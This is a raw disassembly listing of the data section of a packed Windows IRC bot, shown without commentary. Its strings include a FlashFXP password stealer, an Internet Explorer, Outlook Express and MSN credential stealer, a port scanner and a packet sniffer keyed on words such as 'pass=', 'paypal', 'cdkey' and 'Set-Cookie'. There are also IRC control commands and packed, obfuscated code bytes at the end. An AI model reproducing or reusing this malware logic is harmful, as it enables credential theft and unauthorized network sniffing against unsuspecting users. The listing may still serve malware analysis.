dword_41D028	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D058	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D078	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D0B4	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D0C8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D110	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D204	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_41D240	dd 2343003h, 2037525h	; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D2AC	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 4
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 4
asc_41D2D8	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_41D2E0	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D324	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 10h
dword_41D360	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D3BC	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D404	dd 70747468h, 2F3A73h	; DATA XREF: sub_414EF4+9DDo
dword_41D40C	dd 70747468h, 2F3Ah	; DATA XREF: sub_414EF4+9C6o
dword_41D414	dd 7274533Ah, 676E69h	; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D434	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D474	dd 2Ch			; DATA XREF: sub_414EF4+83Bo
					; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D484	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 4
dword_41D4E8	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D538	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D53C	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 10h
dword_41D570	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D5A4	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D6D4	dd offset aUser_1	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		align 10h
off_41D730	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth		; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey_0	; "cd-key"
		dd 0
		dd offset aCdKey	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		dd 0
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D7A4	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_41D7E8	dd offset dword_41D844	; DATA XREF: sub_415EB7+98o
		align 10h
		dd offset dword_41D83C
		align 8
		dd offset dword_41D834
		align 10h
		dd offset dword_41D82C
		align 8
		dd offset dword_41D824
		align 10h
		dd offset dword_41D81C
		dd 2 dup(0)
dword_41D81C	dd 54495551h, 20h	; DATA XREF: MEW:0041D810o
dword_41D824	dd 54524150h, 20h	; DATA XREF: MEW:0041D808o
dword_41D82C	dd 4E494F4Ah, 20h	; DATA XREF: MEW:0041D800o
dword_41D834	dd 49504F54h, 2043h	; DATA XREF: MEW:0041D7F8o
dword_41D83C	dd 49544F4Eh, 204543h	; DATA XREF: MEW:0041D7F0o
dword_41D844	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	MEW:off_41D7E8o
aDdos		db 'ddos',0             ; DATA XREF: MEW:0041D7DCo
		align 4
aServu		db 'servu',0            ; DATA XREF: MEW:0041D7D4o
		align 10h
aServU		db 'serv u',0           ; DATA XREF: MEW:0041D7CCo
		align 4
aServU_0	db 'serv-u',0           ; DATA XREF: MEW:0041D7C4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: MEW:0041D7BCo
		align 4
aFlood		db 'flood ',0           ; DATA XREF: MEW:0041D7B4o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: MEW:0041D7ACo
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: MEW:off_41D7A4o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: MEW:0041D798o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: MEW:0041D790o
aLP		db 'l/p',0              ; DATA XREF: MEW:0041D788o
aIrcOperator	db 'irc operator',0     ; DATA XREF: MEW:0041D780o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: MEW:0041D778o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: MEW:0041D770o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: MEW:0041D760o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: MEW:0041D758o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: MEW:0041D750o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: MEW:0041D748o
		align 10h
aAuth		db 'auth ',0            ; DATA XREF: MEW:0041D740o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: MEW:0041D738o
		align 10h
aLogin_0	db 'login ',0           ; DATA XREF: MEW:off_41D730o
		align 4
aPw		db 'pw=',0              ; DATA XREF: MEW:0041D724o
aPass_1		db 'pass=',0            ; DATA XREF: MEW:0041D71Co
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: MEW:0041D714o
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: MEW:0041D70Co
		align 4
aUsername_0	db 'username=',0        ; DATA XREF: MEW:0041D704o
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: MEW:0041D6FCo
aAuth_0		db ' :auth ',0          ; DATA XREF: MEW:0041D6F4o
aIdentify	db 'identify ',0        ; DATA XREF: MEW:0041D6ECo
		align 10h
aOper		db 'oper ',0            ; DATA XREF: MEW:0041D6E4o
		align 4
aMailpass	db 'MailPass ',0        ; DATA XREF: MEW:0041D6E0o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: MEW:0041D6DCo
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: MEW:0041D6D8o
		align 4
aUser_1		db 'user ',0            ; DATA XREF: MEW:off_41D6D4o
		align 10h
dword_41D980	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41D9B4	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_41D9E8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DA0Ch, 0FD8093AFh, 0D2E6E2ADh
		dd 0A99AE3FBh, 2 dup(0)
dword_41DA20	dd 0E3F44AC0h		; DATA XREF: sub_40A9CF+843r
					; MEW:00416845r ...
dword_41DA24	dd 94CFA2BAh		; DATA XREF: MEW:0041683Dr
dword_41DA28	dd 11B29A82h		; DATA XREF: MEW:00416832r
dword_41DA2C	dd 2B0ED8BCh		; DATA XREF: MEW:0041682Cr
		dd 2 dup(0)
off_41DA38	dd offset dword_41DD10	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 10h
off_41DA40	dd offset loc_41CC28	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DA44	dd offset dword_41CC1C	; DATA XREF: sub_40CF2F+B8r
off_41DA48	dd offset dword_41CC14	; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
; ---------------------------------------------------------------------------
		cld
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[esp+ecx*8], dl
		inc	ecx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd offset dword_41CC14
		align 10h
dword_41DA70	dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0) ; DATA XREF:	sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
dword_41DA80	dd 6B6F6B23h, 32h, 1Eh dup(0) ;	DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
byte_41DB00	db 0FCh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 8Bh,	8Eh, 0E6h
		dd 0E2h, 1Eh dup(0)
byte_41DB80	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DC00	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DC0C	dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ;	DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DD10	dd 0FE87BCF5h, 0C7FCA2ECh, 0A1h, 0 ; DATA XREF:	MEW:off_41DA38o
dword_41DD20	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: MEW:00416B0Do
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 10h
aEntry		db 'entry',0            ; DATA XREF: MEW:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: MEW:loc_416AC5o
		align 10h
aPing08x	db 'PING :%08X',0       ; DATA XREF: MEW:00416A54o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: MEW:0041684Bo
		align 10h
dword_41DDA0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
off_41DDB0	dd offset off_4172BC	; DATA XREF: MEW:off_4172C0o
					; MEW:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DDD0	dd offset off_4172BC	; DATA XREF: MEW:off_417308o
					; MEW:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DDE8	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DDEC	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DDF0	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DDF4	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DDFC	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DE00	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DE08	dd 0			; DATA XREF: sub_40332B+1Ar
					; sub_404CBB+1Br ...
dword_41DE0C	dd 0			; DATA XREF: sub_40332B+Bo
dword_41DE10	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DE18	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DE1C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DE20	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DE24	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DE28	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DE2C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DE30	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DE34	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DE38	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DE3C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DE40	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DE44	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DE48	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DE4C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; sub_408B30+118r ...
dword_41DE50	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_414EF4+6Cr ...
dword_41DE54	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DE58	dd 71ABC076h		; DATA XREF: sub_4020C2+DBr
					; sub_403BD3+17Fw ...
dword_41DE5C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E264	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E268	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E270	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E274	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E278	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E27C	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E280	dd 14AE80h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E29C	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E2A0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E2A8	dd 14AEA8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E2C0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E2C8	dd 323A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E2CC	dd 0			; DATA XREF: sub_409CB1+6r
					; sub_409DD0+65w ...
dword_41E2D0	dd 0			; DATA XREF: sub_409DD0+3Fw
					; sub_409DD0+44r ...
dword_41E2D4	dd 0			; DATA XREF: sub_409CB1+F6r
					; sub_409DD0+91w ...
dword_41E2D8	dd 0			; DATA XREF: sub_409CB1+B9r
					; sub_409DD0+7Bw ...
		align 10h
byte_41E2E0	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E6E8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E868	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41E968	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41E974	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
dword_41E97C	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41E980	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EA84	db 0AFh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0CFh, 0F7h, 22h
		dd 8848C018h, 0B368C8BAh, 0C033A9h, 0
dword_41EA98	dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EAAC	dd 0D78A122Ah		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EAB0	dd 0DEFF6A9Dh		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EAB4	dd 1705E840h		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EAB8	dd 81961964h		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EAC0	db 0DFh			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0FCh, 0EFh, 91h
		dd 0A2928C83h, 0CEE88CD5h, 80C099CDh, 2	dup(0)
dword_41EAD8	dd 2 dup(0)		; DATA XREF: sub_41113B+7E8o
dword_41EAE0	dd 0			; DATA XREF: sub_411DC5+557o
dword_41EAE4	dd 2 dup(0)		; DATA XREF: sub_411DC5+579o
dword_41EAEC	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EAF0	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EAF4	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; sub_412E04+7Fo
dword_41EAFC	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_406E8E+208o
					; sub_407148+172o ...
dword_41EC00	dd 75B8F9CEh		; DATA XREF: sub_40A9CF+838r
					; MEW:00416909w
dword_41EC04	dd 0CA055877h		; DATA XREF: MEW:00416913w
dword_41EC08	dd 0FA4E12DAh		; DATA XREF: MEW:0041691Dw
dword_41EC0C	dd 0C4AF8AF3h		; DATA XREF: MEW:00416927w
dword_41EC10	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
dword_41ED18	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EE18	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EE98	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41EF18	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; sub_4055E5+746o ...
byte_41F018	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3F9h	dup(0)
		dd 68DB8760h, 0DB28h, 8324048Bh, 0C98704C4h, 1E850h, 58C70000h
		dd 0EB08C083h, 8358E0FFh, 4C704ECh, 4024h, 5EB5900h, 3EB230Fh
		dd 0FFFBEB31h, 0F1FFEBF0h, 2015FFEBh, 50004206h, 8B444450h
		dd 44FE245Ch, 4EC8344h,	2404C7h, 5E004010h, 0DB28BD55h
		dd 5D950000h, 1E850h, 58C70000h, 0EB08C083h, 8A58E0FFh
		dd 80C1280Eh, 0C9C02EC1h, 64F18035h, 0D1F6C802h, 0C039C182h
		dd 0C1280EC9h, 808FC1C0h, 0D1F608C1h, 0C096C182h, 0C832F1C1h
		dd 0C6FF0B88h, 87C8FF43h, 0F883DBh, 0FFB6850Fh,	1EBFFFFh
		dd 24348B69h, 0E904C483h, 216h,	0F0FFEB77h, 0EBF1FFEBh
		dd 62015FFh, 0FFEB0042h, 0A0E9F0h, 68600000h, 417000h
		dd 83243C8Bh, 0D4E904C4h, 7D000000h, 0EBC0FFEBh, 0DAE9C8FFh
		dd 6B000004h, 75BB850h,	58910042h, 0FFFFE7E9h, 0FFEB77FFh
		dd 42062815h, 0FFE6E900h, 0EB60FFFFh, 0EBE96901h, 7DFFFFFFh
		dd 0E9F0FFEBh, 0FFFFFFEFh, 4EC836Bh, 672404C7h,	58004207h
		dd 0FFFFE7E9h, 0FFEB77FFh, 0FFE7E9F1h, 0C160FFFFh, 0CAC102C2h
		dd 0FFECE902h, 867DFFFFh, 0A001EBC4h, 8C0C166h,	0FFFFE6E9h
		dd 0C6C16BFFh, 0FFE9E920h, 5077FFFFh, 0FFFFF1E9h, 0C6C160FFh
		dd 0FFF1E920h, 537DFFFFh, 0FFFFF1E9h, 0FFEB6BFFh, 0EB4048F0h
		dd 0F78BF6FFh, 44F7875Fh, 24548B44h, 0E94444FEh, 42Eh
		dd 0EBDB8777h, 0F78BF6FFh, 83F7875Fh, 850F00F9h, 387h
		dd 0EB6901EBh, 1EBA901h, 8B444469h, 44FE2474h, 0FF1DE944h
		dd 0EB60FFFFh, 8668F6FFh, 58004206h, 0FFEBD0FFh, 5FF78BF6h
		dd 0FFEBF787h, 42062415h, 0EBC48600h, 0C166A001h, 5EB08C0h
		dd 3EB230Fh, 68FBEB31h,	3724h, 8324048Bh, 0B85004C4h, 40h
		dd 0EB505891h, 4048F1FFh, 2015FFEBh, 0EB004206h, 8757F0FFh
		dd 0F01EBFBh, 0EBFB875Bh, 0C486F0FFh, 66A001EBh, 4408C0C1h
		dd 247C8B44h, 904444FEh, 0BDD287h, 33004180h, 2EB57C7h
		dd 43330BDh, 87575F24h,	0F01EBFBh, 0B8FB875Bh, 3724h, 1E850h
		dd 58C70000h, 0EB08C083h, 8A58E0FFh, 0C2820055h, 1EA82EBh
